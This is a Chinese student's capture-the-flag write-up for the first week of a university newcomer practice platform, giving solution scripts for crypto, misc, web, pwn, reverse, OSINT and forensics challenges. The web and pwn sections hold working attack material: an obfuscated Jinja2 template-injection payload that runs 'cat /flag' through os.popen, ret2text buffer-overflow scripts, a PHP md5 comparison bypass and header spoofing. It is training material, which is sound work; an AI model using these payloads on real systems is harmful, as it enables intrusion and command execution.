齐鲁师范学院2025级新生CTF网络安全练习平台 Week1 WriteUP

2025.10.8 17:58 记录: 要开始了,希望自己能ak吧((((

2025.10.9 22:01 记录: 居然暂时ak成功啦!!应该没多少题了吧(?

2025.10.12 18:44 记录: 前几天又上了三道题做完力,应该没有题辣。这周ak成功捏

20251018230632

除了新上了两道Osint的题,其余全都为Week1的题目~

image-20251018230856560

Crypto

[WEEK1]GGBond

1
2
3
出题人: Camille | 难度: 基础

试问小猪可爱否?

使用猪圈解密即可

image-20251009125233154

[WEEK1]didadi-fix

1
2
3
4
5
出题人: Camille | 难度: 基础

听着时钟滴答滴答滴

flag内容为全小写

打开发现是莫斯电码 一一映射即可

  1. -.. → D
  2. .---- → 1
  3. ..--.- → 下划线 _(在莫尔斯扩展中,..--.- 是下划线)
  4. -.. → D
  5. .--.-.@(某些扩展莫尔斯中 .--.-. 是 @)
  6. ..--.-_
  7. -.. → D
  8. -.-.--!(莫尔斯中 -.-.-- 是感叹号)
  9. ..--.-_
  10. .-...&(某些扩展中 .-... 是 &,但标准国际莫尔斯里 .-... 是 “+”? 我们查一下:标准里 .-... 不是标准字母,但 ITU 莫尔斯中 .-...+ 吗?其实 .-... 在美军扩展里是 &
    — 确认:常见扩展表里 .-... = &
  11. .- → A
  12. ..--.-_
  13. -.. → D
  14. ---...:(莫尔斯里 ---... 是冒号)

得到QLNUCTF{D1_D@D!&A_D:} 改成小写提交即可

[WEEK1]ezRSA

1
2
3
出题人: Duktig | 难度: 基础

分解n

使用在线网站分解N

image-20251009113517180

使用Python的Crypto模块进行解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes, inverse

def decrypt_rsa():
# 给定的参数
e = 65537
n = 1205203533194242706656471569821244119593442558404624256106113
c = 932160866790745796274779695749272503693547301963721558016916

# 你分解得到的p和q
p = 633825300114114700748351602943
q = 1901475900342344102245054808191

# 计算phi(n)
phi = (p - 1) * (q - 1)
print(f"phi(n) = {phi}")

# 计算私钥d
d = inverse(e, phi)
print(f"d = {d}")

# 解密
m = pow(c, d, n)
print(f"解密后的数字: {m}")

# 转换为字符串
flag = long_to_bytes(m)
print(f"flag: {flag.decode()}")

decrypt_rsa()

[WEEK1]不可破译的密码

python解决代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
encoded_text = """Rqtxrv iikmgxf mkwztl, 
eah kljak aus jljcrh zivx rqrp zivx vogma,
wf az lur'g lrzz bu eyarcn euvec rfjcz vrkiioa,
hyg pvemv zs ysfo awxanvu xj bniz.
Flx azuq glvr jv,
ci aimim ukx nkrmi.
Bni ceix jn si jlf ava ilnrxiy je cby nmgt lseimim iigbqgeig si vr pspz vpngv.
UGVAGGJ{_Klz_ctfeirowtk_gbhv_}
Egt zlr arxzz or glv ajzrh jmcp hmkx nkrmi,
ith glv Emkzmp Stivv grq xyi Iqri Emmim eopy fciil or glv azb ipbyuw.
Opow nrtmzvz eah sivczmsyc qzbgtusi qvskw glzw hwsiax jexzkh,rzvr dn ci jeehzz,
kzrvp vjij avpc xvsk yf lfqz."""

key = "vigenere"
key_len = len(key)
key_indices = [ord(k) - ord('a') for k in key]

plain_text = ""
index = 0

for ch in encoded_text:
if ch.isalpha():
key_index = index % key_len
k = key_indices[key_index]
if ch.isupper():
c_index = ord(ch) - ord('A')
p_index = (c_index - k) % 26
p_ch = chr(p_index + ord('A'))
plain_text += p_ch
index += 1
elif ch.islower():
c_index = ord(ch) - ord('a')
p_index = (c_index - k) % 26
p_ch = chr(p_index + ord('a'))
plain_text += p_ch
index += 1
else:
plain_text += ch

print(plain_text)

[WEEK1]小d大危机

1
2
3
出题人: Ord1nary | 难度: 简单

为啥这个跟正常的rsa不一样呢?

Python解密即可啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import gmpy2
from Crypto.Util.number import long_to_bytes

def rational_to_contfrac(x, y):
# 将 x/y 展开为连分数
a = x // y
cf = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
cf.append(a)
return cf

def contfrac_to_convergents(cf):
num, den = [], []
for i, q in enumerate(cf):
if i == 0:
n, d = q, 1
elif i == 1:
n, d = cf[0]*q + 1, q
else:
n, d = num[i-1]*q + num[i-2], den[i-1]*q + den[i-2]
num.append(n)
den.append(d)
yield n, d

def wiener_attack(e, n):
cf = rational_to_contfrac(e, n)
convergents = list(contfrac_to_convergents(cf))

for k, d in convergents:
if k == 0:
continue
# 检查 ed ≡ 1 (mod phi) 是否成立
# phi = (e*d - 1) / k 应为整数
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
# 解 p+q = n - phi + 1, pq = n
b = n - phi + 1
discriminant = b*b - 4*n
if discriminant < 0:
continue
sqrt_disc = gmpy2.isqrt(discriminant)
if sqrt_disc * sqrt_disc == discriminant:
p = (b + sqrt_disc) // 2
q = (b - sqrt_disc) // 2
if p * q == n:
return d
return None

n = 15524502336968162113213264083143000208771089747528808927243440378994815846048732541738598541343662060705944072090112790571595734365216462475359422029539515598396836257462320144172053935981920773519291628900795734727003209282427102362312071328035249396690447022882420616824654412016015323919941506849935216835351042920763913256869541484627349668754252134362120226477781363305801820264620009009210602359945983921216104954703115057171501896354572943345835219402383390960940497577324829689088176212282684663330162412308518372789709048267881813538347107347048759597886074234955309764102002853452429523851005663115123950913
e = 6006589671986287389219749066527246949632103261444696450685584318087193111061104733634550128173308943491708926600333778456884119710635868371098325780094349491234221024665209026538807857831878567949652205028615960343018494714343407518245172773286560423451674244989995703026662065781551493132907089493158886093961239093757527575531426194117924600335995086069261077136852746793622336444947852702979329027439859901631553510191137535921891466028706929304233244770886926590603041229515941576974555484039745795065643353435724233271205987481503338485926686990090155476851712055793225407010739092800023290639107621545909742017
c = 14781231350428849586947975028124459014787122138466284195659827823086382971109262896977828823884778892285303165097449005479426733145208928725671842276043073996684747817858259243822312164878644843334369921147128702771779571191917522278473732297442303038059489412412695097152241703898990968572351771258826751925036852111171049978037140517588583140679725476697270664566138088806816244454459064557235507429794550173807907076237584332977186576778674421428877808017177545964016539548565225333223849116604688387094425691541745559413322824374225046573641050734466938670880107611772265566331832685691887699835023646054723849485

d = wiener_attack(e, n)
if d is None:
print("Wiener's Attack failed.")
else:
print("d =", d)
m = pow(c, d, n)
print("m =", long_to_bytes(m))

Misc

[WEEK1] 签到

1
2
3
4
5
出题人: Yime | 难度: 基础

微信扫码关注 齐鲁师院网络安全社团 公众号

发送 CTF世界的大门,从这里开启! 即可获得Flag!

这道题没说法 直接拿flag

image-20251008181829667

[WEEK1]Normal

1
2
3
出题人: Camille | 难度: 基础

直觉告诉你这不是堆平常的字符

Python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64

lines = [
"QUJDF==","QUJDB==","QUJDE==","QUJDM==","QUJDE==","QUJDO==","QUJDF==","QUJDF==",
"QUJDE==","QUJDD==","QUJDF==","QUJDE==","QUJDE==","QUJDG==","QUJDH==","QUJDL==",
"QUJDE==","QUJDH==","QUJDG==","QUJDP==","QUJDF==","QUJDP==","QUJDH==","QUJDH==",
"QUJDG==","QUJDJ==","QUJDH==","QUJDE==","QUJDG==","QUJDI==","QUJDF==","QUJDP==",
"QUJDH==","QUJDJ==","QUJDG==","QUJDP==","QUJDH==","QUJDF==","QUJDH==","QUJDC==",
"QUJDF==","QUJDP==","QUJDG==","QUJDH==","QUJDH==","QUJDF==","QUJDH==","QUJDE==",
"QUJDH==","QUJDN=="
]

# 提取每行的第 5 个字符
extras = "".join([ln[4] for ln in lines if len(ln) >= 5])

# 把 extras 当 base64 解码(补齐)
while len(extras) % 4 != 0:
extras += "="
data = base64.b64decode(extras)

# 由于原来的值都在 0..15(半字节),把它们两两合并成字节:
# 方法:先把 extras 每个字符转成 base64 索引(0..63),这里实际都在 0..15
def b64val(ch):
if 'A' <= ch <= 'Z': return ord(ch) - 65
if 'a' <= ch <= 'z': return ord(ch) - 97 + 26
if '0' <= ch <= '9': return ord(ch) - 48 + 52
if ch == '+': return 62
if ch == '/': return 63
return 0

vals = [b64val(c) for c in extras if c != '=']
# 两两合并成字节
bytes_out = bytes((vals[i] << 4) | vals[i+1] for i in range(0, len(vals), 2))
print(bytes_out.decode())

[WEEK1]Signal Secrets

1
2
3
4
出题人: Yime | 难度: 简单

你收到了一段看似普通的无线电信号,但仔细聆听,会发现其中隐藏着信息。
你的需要找出信号中的秘密,并还原出完整内容。

猜测大概率为SSTV 使用在线网站解码就行啦

image-20251008185130604

[WEEK1]好朋友手牵手

1
2
3
出题人: Duktig | 难度: 基础

都摆在明面上了

zip里面的flag.txt是假的!!! 查看zip即可

image-20251008182405992

base64解码

image-20251008182427767

[WEEK1]字与字之间的字

1
2
3
出题人: Ord1nary | 题目难度: 简单

怎么感觉少了很多字?

使用Python的zero_width_lib库解密即可

当时找了一堆在线网站,失败)

1
2
3
4
5
6
7
8
9
10
import zero_width_lib as zwlib

text = "齐‍‏‏​‍‎‏​‍‎‍​‍‌‎​‌‍‌​‍‏​‌‎​‍​‍‍‎​‎‏​‌​‌‏​‍‎​‍‌‌​‏​‎‎​‌‏‎​‎​‍‎​‍‌‌​‏‍​‍‏‌​‎‎​‏‎‎‎鲁师范学院网络安全社团(QLNU-Sec-Team) 是由齐鲁师范学院学生自发组建的专业技术性社团,面向全校各年级、各专业对网络安全技术感兴趣的同学。社团的核心目标是为热爱网络安全的学生提供高质量交流平台,推动网络安全技术的普及与行业人才质量的提升;通过竞赛实践形式激发学生对网络安全的学习兴趣,为学校培养网络安全专业人才。未来,社团将继续秉持这一宗旨,持续探索网络安全技术领域,致力于扩大网络安全在校园内外的影响力,为更多志同道合的学生提供学习与发展机会,在网络安全领域持续推进。​"

try:
hidden_text = zwlib.decode(text)
print(f"{hidden_text}")
print()
except Exception as e:
print(f"No")

[WEEK1]宝可梦大师

1
2
3
出题人: Ord1nary | 题目难度: 基础

这个耿鬼怎么感觉没完全显示

发现是png格式

image-20251008201107236

修改后缀 尝试爆破长宽

image-20251008201125086

得到flag

image-20251008201133579

[WEEK1]打截

1
2
3
出题人: Duktig | 难度: 基础

我就打个截

一把嗦了(实际原理是修改长宽高 IDA就能改)

image-20251008182833831

得到flag

image-20251008182845809

[WEEK1]有趣的三重奏

打开txt发现是这个 解码即可

image-20251008183059517

使用bugku工具箱解码 核心价值观解码即可

image-20251008183154068

使用怪音译者解码即可

image-20251008183203132

再次使用哈基米语解码得到Flag

image-20251008183212229

[WEEK1]熊熊出击

1
2
3
出题人: WEH | 难度: 简单

学习PDF文件规范,找到光头强背后的秘密!

打开pdf把图片移动开

image-20251009155131725

base64解码

image-20251009155142959

Web

[WEEK1]Robots

1
2
3
4
5
出题人: Yime | 难度: 基础

搜索引擎是怎么知道哪些页面能不能访问的?
也许有一只“机器人”会告诉你。
试试去找找它的说明书。

打开robots.txt页面

image-20251008180256283

打开禁止robot访问的页面 getflag!

image-20251008180324410

[WEEK1]Seen from Source

1
2
3
4
出题人: Yime | 难度: 基础

页面看起来平淡无奇,真正的秘密却藏在你“看不见”的地方。
想要找到flag,不妨试试从不同的角度“看一看”,也许会有意想不到的发现。

打开页面F12直接秒杀

image-20251008180415059

[WEEK1]Simple Login

1
2
3
4
出题人: COLLAPSING | 难度: 基础

管理员为了图省事,在后台系统中设置了一个非常简单的账号和密码。
选手需要通过常见的弱口令尝试,找到正确的用户名和密码,登录后台,获取隐藏的 flag

这个打开页面 我手注了几次 密码为 admin/admin123

image-20251008180958305

[WEEK1]The top

1
2
3
4
出题人: Yime | 难度: 基础

页面看起来一片空白?
不妨换一种方式看看服务器到底给你传了什么。

根据题目查看请求包 找到flag

image-20251008181117820

[WEEK1]ZPD机密档案库

1
2
3
4
5
出题人: Merlyn | 难度: 简单

你是动物城警察局(ZPD)的一名新警员。
你的数字凭证允许你访问公共的警务日志,但一份关于“午夜嚎叫”案件的加密档案需要更高级别的权限。
你的任务是提升你的访问权限,获取这份加密档案(Flag)

打开网站重要页面

image-20251008181354473

进行base64解码提示

image-20251008181404235

直接打开burp改cookie应该就可以了 ok啦啦啦

image-20251008181548868

拿到flag

image-20251008181604081

[WEEK1]md5-1

1
2
3
出题人: Ord1nary | 难度: 简单

了解一下php的特性

php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
require "flag.php";

if (isset($_GET['a']) && isset($_GET['b'])) {
$a = $_GET['a'];
$b = $_GET['b'];

if ($a != $b && md5($a) == md5($b)) {
echo get_flag();
}
else echo "错啦错啦";

} else {
echo "没看到参数呐";
}
?>

构造url即可 http://challenge.qlnu-sec.cn:9957/?a=240610708&b=QNKCDZO

[WEEK1]内部管理系统

1
2
3
4
5
出题人: Yime | 难度: 简单

某内部管理系统对访问来源和设备有严格限制,普通访问会被拒绝。
只有满足特定条件的请求才能进入系统查看内容。
试着分析页面提示和返回信息,逐步突破这些限制,获取隐藏的信息。

使用burp发送以下包 得到flag

这主要是要构建X-Forwarded-For: 127.0.0.1和 UA加入QLNU-BROWSER 这些题目中都有提示

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: challenge.qlnu-sec.cn:9632
X-Forwarded-For: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 QLNU-BROWSER
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

image-20251008185804952

[WEEK1]消息公告板

1
2
3
出题人: Yime | 难度: 简单

这是一个消息公告板应用,请对其进行安全测试,发现并利用可能存在的漏洞。

是一个Web注入 输入以下预览即可

1
{{ ''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()[488]('{{lipsum.__globals__.os.popen("cat /flag").read()}}')['render']() }}

得到Flag

image-20251012192835918

Pwn

[WEEK1]NC

1
2
3
出题人: Reinon | 难度: 基础

尝试使用 NC 连接到 PWN 的世界吧

命令为

1
.\nc64.exe challenge.qlnu-sec.cn 9390

image-20251008182528434

[WEEK1]Ret2text

1
2
3
出题人: Pan | 难度: 基础

装好环境了吗,来试试入门Pwn?

使用python进行栈溢出,和之前的题解法相同的。

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwn import *

# 简单直接版本
p = remote('challenge.qlnu-sec.cn', 9635)

# 发送payload
payload = b'A' * 40 + p64(0x401156)
p.sendline(payload)

# 直接进入交互模式
p.interactive()

[WEEK1]Ret2text-Pro

1
2
3
出题人: Reinon | 难度: 中等

现在你想要溢出的地方出现了一个盖子,你要怎么绕过这个盖子

使用pwn进行栈溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwn import *

# 简单直接版本
p = remote('challenge.qlnu-sec.cn', 9388)

# 发送payload
payload = b'A' * 72 + p64(0x401674)
p.sendline(payload)

# 直接进入交互模式
p.interactive()

image-20251009135424167

[WEEK1]netcat

1
2
3
出题人: Pan | 难度: 基础

装好环境了吗,来试试netcat?

image-20251011001346006

Reverse

[WEEK1]Hello_World

1
2
3
出题人: Pan | 难度: 基础

试试IDA?

使用IDA打开 看到flag!

image-20251009135751031

[WEEK1]UPX

1
2
3
出题人: Pan | 难度: 基础

原汤化原食

使用upx进行脱壳

image-20251009141120323

打开IDA分析代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall main()
{
char enc_flag[21]; // [rsp+20h] [rbp-40h] BYREF
char input[32]; // [rsp+40h] [rbp-20h] BYREF

_main();
strcpy(enc_flag, "PMOTBUGzT^j1oV^TQY>|");
decrypt_flag(enc_flag);
printf(Format);
scanf("%31s", input);
if ( !strcmp(input, enc_flag) )
puts("Yes");
else
puts("No!");
return 0i64;
}

解密代码如下

1
2
3
4
5
6
7
void __cdecl decrypt_flag(char *f)
{
int i; // [rsp+2Ch] [rbp-4h]

for ( i = 0; i < strlen(f); ++i )
f[i] ^= 1u;
}

异或 1 的含义:

  • 每个字符的 ASCII 码二进制最低位取反(0 变 1,1 变 0)。
  • 例如 'P' (0x50) 异或 1 → 0x51 'Q'

我们直接对每个字符异或 1:

加密字符 ASCII 异或 1 后 ASCII 解密字符
P 0x50 0x51 Q
M 0x4D 0x4C L
O 0x4F 0x4E N
T 0x54 0x55 U
B 0x42 0x43 C
U 0x55 0x54 T
G 0x47 0x46 F
z 0x7A 0x7B {
T 0x54 0x55 U
^ 0x5E 0x5F _
j 0x6A 0x6B k
1 0x31 0x30 0
o 0x6F 0x6E n
V 0x56 0x57 W
^ 0x5E 0x5F _
T 0x54 0x55 U
Q 0x51 0x50 P
Y 0x59 0x58 X
> 0x3E 0x3F ?
| 0x7C 0x7D }

解密结果:

1
QLNUCTF{U_k0nW_UPX?}

[WEEK1]re-1

1
2
3
出题人: Duktig | 难度: 简单

先自己看看

使用Python进行解码

1
2
3
4
5
6
7
8
9
10
keys = [0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77]
encrypted_flag = [0x40, 0x6E, 0x7D, 0x11, 0x16, 0x32, 0x31, 0xF3, 0xFF, 0xC6, 0x8B, 0xBF, 0x98, 0x9C, 0xA0, 0x69, 0x4B, 0x4B, 0x0D, 0x3C, 0x0F, 0x0A]

flag = ""
for i in range(22):
decrypted_char = encrypted_flag[i] ^ keys[i]
flag += chr(decrypted_char)
print(f"位置 {i}: {encrypted_flag[i]:02X} ^ {keys[i]:02X} = {decrypted_char:02X} ('{chr(decrypted_char) if 32 <= decrypted_char <= 126 else '?'}')")

print(f"\n解密后的flag: {flag}")

[WEEK1]unpacking

1
2
3
难度: 简单

die里有发现什么不一样的地方吗?直接脱壳不成功怎么办啊?是谁动了什么手脚吗?!!

非预期( 纯粹想看看软件是什么样给整出来flag了

我不会做re,动态脱壳的时候想调试软件打开就这样了

image-20251009150012817

[WEEK1]xor

1
2
3
出题人: Duktig | 难度: 简单

要不看看题目叫啥

异或,使用python即可得到flag

1
2
3
4
5
6
7
# 原始加密字符串
encrypted_str = "XEG\\J]Oro`na}`gnVDhz}l{zt"

# 对每个字符进行异或9操作
decrypted = ''.join(chr(ord(c) ^ 9) for c in encrypted_str)

print(f"解密结果: {decrypted}")

Osint

[WEEK1]地理迷踪-1

1
2
3
4
5
6
7
8
9
出题人: Yime | 难度: 简单

这是一道较为简单的地理迷踪题目,你需要找到该建筑所在的地点进行提交。

Flag格式为:
得到具体地点之后写成 XX省_XX市_XX区_XX大街_XXXX 这种格式,将这段字符串进行Base64编码
然后套上 QLNUCTF\{\} 进行提交
例如
QLNUCTF{WFjnnIFfWFjluIJfWFjljLpfWFjlpKfooZdfWFhYWA==}

打开图片比较经典 因为我是济南人 一眼认出来了(

image-20251008184158809

地名试了半天 大概试出来结果了

image-20251008184229720

base64编码

image-20251008184241433

嵌套后得到Flag

1
QLNUCTF{5bGx5Lic55yBX+a1juWNl+W4gl/ljobkuIvljLpf5rO65rqQ5aSn6KGXX+azieWfjuW5v+Wcug==}

ppc

[WEEK1]数据清洗及分析

1
2
题目信息 - [WEEK1]数据清洗及分析
出题人: Yime | 难度: 简单

使用Python进行文件分析以及md5生成

这道题靠AI辅助多一点,主要要条理清晰的跟AI阐述如何清洗以及如何生成即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
import pandas as pd
import re
import hashlib
import chardet

def detect_encoding(file_path):
"""检测文件编码"""
with open(file_path, 'rb') as f:
result = chardet.detect(f.read())
return result['encoding']

def clean_data(file_path):
# 检测文件编码
encoding = detect_encoding(file_path)
print(f"检测到文件编码: {encoding}")

# 尝试用不同编码读取文件
try:
df = pd.read_csv(file_path, encoding=encoding)
except:
# 如果检测的编码不行,尝试常见的中文编码
encodings = ['gbk', 'gb2312', 'utf-8', 'latin1']
for enc in encodings:
try:
df = pd.read_csv(file_path, encoding=enc)
print(f"成功使用编码: {enc}")
break
except:
continue
else:
raise Exception("无法读取文件,请检查文件格式")

valid_records = []

for index, row in df.iterrows():
try:
# 提取学号信息
student_id_raw = str(row['学号'])

# 清洗学号:提取2025开头的10位数字
student_id_match = re.search(r'2025\d{6}', student_id_raw)
if not student_id_match:
continue

student_id = student_id_match.group()

# 验证学号格式(必须是2025开头的10位数字)
if len(student_id) != 10 or not student_id.startswith('2025'):
continue

# 从学号解析年级和班级
# 学号格式:2025 A B CDEF,其中第6-7位表示年级和班级
grade_from_id = student_id[5] # 第6位数字
class_from_id = student_id[6] # 第7位数字

# 清洗班级信息
class_raw = str(row['班级'])
# 匹配多种班级格式:X年级X班、X.X、X年级X班等
class_match = re.search(r'(\d)[年级\.\s]*(\d)', class_raw)
if not class_match:
continue

grade_from_class = class_match.group(1)
class_from_class = class_match.group(2)

# 验证学号与班级的一致性
if grade_from_id != grade_from_class or class_from_id != class_from_class:
continue

# 处理成绩数据
def parse_score(score):
if pd.isna(score) or score == '缺考' or score == '':
return None
try:
return float(score)
except:
return None

chinese_score = parse_score(row['语文'])
math_score = parse_score(row['数学'])
english_score = parse_score(row['英语'])

# 检查是否所有成绩都无效
if chinese_score is None and math_score is None and english_score is None:
continue

# 记录有效数据
valid_records.append({
'学号': student_id,
'姓名': row['姓名'],
'班级': row['班级'],
'语文': chinese_score,
'数学': math_score,
'英语': english_score,
'总分': (chinese_score if chinese_score is not None else 0) +
(math_score if math_score is not None else 0) +
(english_score if english_score is not None else 0)
})
except Exception as e:
# 跳过处理出错的记录
continue

return valid_records

def analyze_data(valid_records):
if not valid_records:
return None

df_valid = pd.DataFrame(valid_records)

# 找出各科最高分学生(只考虑有效成绩)
chinese_scores = df_valid[df_valid['语文'].notna()]
math_scores = df_valid[df_valid['数学'].notna()]
english_scores = df_valid[df_valid['英语'].notna()]

chinese_max = chinese_scores.loc[chinese_scores['语文'].idxmax()] if not chinese_scores.empty else None
math_max = math_scores.loc[math_scores['数学'].idxmax()] if not math_scores.empty else None
english_max = english_scores.loc[english_scores['英语'].idxmax()] if not english_scores.empty else None
total_max = df_valid.loc[df_valid['总分'].idxmax()]

return {
'total_count': len(valid_records),
'chinese_max_student': chinese_max['学号'] if chinese_max is not None else '无有效数据',
'math_max_student': math_max['学号'] if math_max is not None else '无有效数据',
'english_max_student': english_max['学号'] if english_max is not None else '无有效数据',
'total_max_student': total_max['学号']
}

def generate_flag(results):
# 构建待哈希字符串
hash_string = f"{results['total_count']}-{results['chinese_max_student']}-{results['math_max_student']}-{results['english_max_student']}-{results['total_max_student']}"

# 计算MD5
md5_hash = hashlib.md5(hash_string.encode()).hexdigest()

return f"QLNUCTF{{{md5_hash}}}", hash_string

def main():
# 文件路径
file_path = "125846_students_data.csv"

try:
# 数据清洗
print("正在进行数据清洗...")
valid_records = clean_data(file_path)

if not valid_records:
print("未找到有效数据!")
return

print(f"有效数据条数:{len(valid_records)}")

# 统计分析
print("正在进行统计分析...")
results = analyze_data(valid_records)

# 显示统计结果
df_valid = pd.DataFrame(valid_records)

if results['chinese_max_student'] != '无有效数据':
chinese_max_row = df_valid[df_valid['学号'] == results['chinese_max_student']].iloc[0]
print(f"语文最高分:{chinese_max_row['语文']}分 | 学生:{chinese_max_row['姓名']}(学号:{chinese_max_row['学号']},班级:{chinese_max_row['班级']})")
else:
print("语文:无有效成绩数据")

if results['math_max_student'] != '无有效数据':
math_max_row = df_valid[df_valid['学号'] == results['math_max_student']].iloc[0]
print(f"数学最高分:{math_max_row['数学']}分 | 学生:{math_max_row['姓名']}(学号:{math_max_row['学号']},班级:{math_max_row['班级']})")
else:
print("数学:无有效成绩数据")

if results['english_max_student'] != '无有效数据':
english_max_row = df_valid[df_valid['学号'] == results['english_max_student']].iloc[0]
print(f"英语最高分:{english_max_row['英语']}分 | 学生:{english_max_row['姓名']}(学号:{english_max_row['学号']},班级:{english_max_row['班级']})")
else:
print("英语:无有效成绩数据")

total_max_row = df_valid[df_valid['学号'] == results['total_max_student']].iloc[0]
print(f"三科总分最高分:{total_max_row['总分']}分 | 学生:{total_max_row['姓名']}(学号:{total_max_row['学号']},班级:{total_max_row['班级']})")

# 生成Flag
flag, hash_string = generate_flag(results)

print(f"\n待哈希字符串:{hash_string}")
print(f"最终Flag:{flag}")

except FileNotFoundError:
print(f"错误:找不到文件 {file_path}")
print("请确保文件路径正确,且文件存在于当前目录")
except Exception as e:
print(f"处理过程中出现错误:{e}")
print("尝试安装chardet库:pip install chardet")

if __name__ == "__main__":
main()

forensics

[WEEK1]Volatile Secrets

1
2
3
4
5
出题人: Yime | 难度: 简单

一段代码正在系统中运行,但它只会在内存中保留敏感信息,且加密存储以防止直接读取。

你的任务是从运行时的内存镜像中提取加密数据,分析其加密方式,并恢复最终的 flag。

使用Strings配合grep分析软件,最后Python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import uuid

# 加密的数据
encoded_flag = "UE5NUUJWRX/dVpdJBXFBuZxXYXvvNsn3fA=="

# Base64 解码
encrypted_bytes = base64.b64decode(encoded_flag)

def xor_decrypt(data, key):
"""使用 4 字节密钥进行 XOR 解密"""
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ key[i % len(key)])
return bytes(result)

# 使用找到的密钥
key = b'\x01\x02\x03\x04'
decrypted = xor_decrypt(encrypted_bytes, key)

# 提取括号内的16字节
uuid_bytes = decrypted[8:24] # 从第8字节开始(不包括'{')到第24字节(不包括'}')

# 尝试将这16字节转换为UUID
try:
flag_uuid = uuid.UUID(bytes=uuid_bytes)
print(f"UUID: {flag_uuid}")
# 将整个解密结果替换为UUID字符串
flag_text = decrypted[:8].decode() + str(flag_uuid) + decrypted[24:].decode()
print(f"Flag: {flag_text}")
except Exception as e:
print(f"错误: {e}")